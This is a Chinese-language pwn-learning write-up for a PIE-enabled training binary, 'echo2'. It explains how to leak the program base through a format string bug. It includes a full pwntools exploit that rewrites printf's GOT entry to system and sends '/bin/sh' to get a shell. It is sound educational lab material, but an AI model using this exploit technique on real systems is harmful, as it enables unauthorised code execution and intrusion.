实验平台:
x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/PIE/echo2
首先来看ELF的安全性:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ELF是64位的了,GOT表可写,无Canary。
这个程序的PIE开启了,也就是说,程序本身的基址是不固定的,因此想要写数据到指定地址,必须先获得程序的基址。
本题是echo[1]的接续,本身利用的还是格式化字符串漏洞。我们最主要要做的就是泄漏程序的基址。那么这个工作应该如何去做呢?
我们首先来重新看一下echo2的反编译的代码:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
echo();
}
void __noreturn echo()
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
do
{
fgets(s, 256, stdin);
printf(s);
}
while ( strcmp(s, "exit\n") );
system("echo Goodbye");
exit(0);
}
与[1]中的代码进行比较可以发现,echo2专门将echo函数独立了出来,并在main中调用。
这样对于攻击者来说是个利好。因为在main中调用echo时,call指令会将main中echo函数调用之后的汇编地址压栈。我们在调试时,可以通过格式化字符串漏洞判断出该汇编参数是printf的第几个参数,从而将其泄漏出来,再减去该汇编的偏移,即可得到程序运行时的基址。
之后我们还按照[1]中的思路进行,改printf的got地址为system的plt地址,并getshell。
下面我们来看,到底怎么查找返回地址在printf中的参数位置:
我们在程序中输入大量%p
的重复,以让printf给我们泄漏尽可能多的参数内容:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
发现对应的地址为0xa03
,又因为Linux的ASLR是不会随机化低12位地址的,因此我们可以在泄漏的数据中查找哪个指针以0xa03
结尾,那么对应的第几个就是它的返回地址。
光用0xa03
去找可能有点费劲,我们可以用另外一个办法。首先用htop
等进程管理工具查找echo2
的pid号,在不关闭原程序的情况下,利用如下命令查看进程的内存地址映射表:
在本例中,我echo2
进程的pid号为6655
。
jackren@ubuntu:~/pwn-learning/PIE/echo2$ cat /proc/6655/maps
55c35f6f6000-55c35f6f7000 r-xp 00000000 08:01 1316734 /home/jackren/pwn-learning/PIE/echo2/echo2
55c35f8f6000-55c35f8f7000 r--p 00000000 08:01 1316734 /home/jackren/pwn-learning/PIE/echo2/echo2
55c35f8f7000-55c35f8f8000 rw-p 00001000 08:01 1316734 /home/jackren/pwn-learning/PIE/echo2/echo2
7f968d5e2000-7f968d7c9000 r-xp 00000000 08:01 1179741 /lib/x86_64-linux-gnu/libc-2.27.so
7f968d7c9000-7f968d9c9000 ---p 001e7000 08:01 1179741 /lib/x86_64-linux-gnu/libc-2.27.so
7f968d9c9000-7f968d9cd000 r--p 001e7000 08:01 1179741 /lib/x86_64-linux-gnu/libc-2.27.so
7f968d9cd000-7f968d9cf000 rw-p 001eb000 08:01 1179741 /lib/x86_64-linux-gnu/libc-2.27.so
7f968d9cf000-7f968d9d3000 rw-p 00000000 00:00 0
7f968d9d3000-7f968d9fc000 r-xp 00000000 08:01 1179737 /lib/x86_64-linux-gnu/ld-2.27.so
7f968dbe5000-7f968dbe7000 rw-p 00000000 00:00 0
7f968dbfc000-7f968dbfd000 r--p 00029000 08:01 1179737 /lib/x86_64-linux-gnu/ld-2.27.so
7f968dbfd000-7f968dbfe000 rw-p 0002a000 08:01 1179737 /lib/x86_64-linux-gnu/ld-2.27.so
7f968dbfe000-7f968dbff000 rw-p 00000000 00:00 0
7ffe66e52000-7ffe66e73000 rw-p 00000000 00:00 0 [stack]
7ffe66f77000-7ffe66f7a000 r--p 00000000 00:00 0 [vvar]
7ffe66f7a000-7ffe66f7c000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
可以发现,程序中主进程以0x55c35f6f6000
为基址运行,我们可以在泄漏的数据中查找既满足以0xa03
结尾,又以0x55c35f
开头的地址。
经过一番头晕眼花的查找,可以发现这个参数是第41个,我们利用%41$p
验证一下。
%41$p
0x55c35f6f6a03
符合上述的要求,我们只需要在Exp中把它泄漏出来,减去0xa03
就可以作为程序基址,加到printf_got和system_plt上去了。
因此,答案answer.py
如下:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math
context(arch = "amd64",os = "linux", log_level = "debug")
p = process('./echo2')
elf = ELF('./echo2')
query_payload = "%41$lld"
p.sendline(query_payload)
echo_ret_addr = int(p.recvuntil("\n"))
program_base = echo_ret_addr - 0xa03
printf_got = elf.got['printf'] + program_base
system_plt = elf.plt['system'] + program_base
payload = fmtstr_payload(6, {printf_got: system_plt})
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
参考资料:
[1] https://renjikai.com/pwn-learning-summary-9/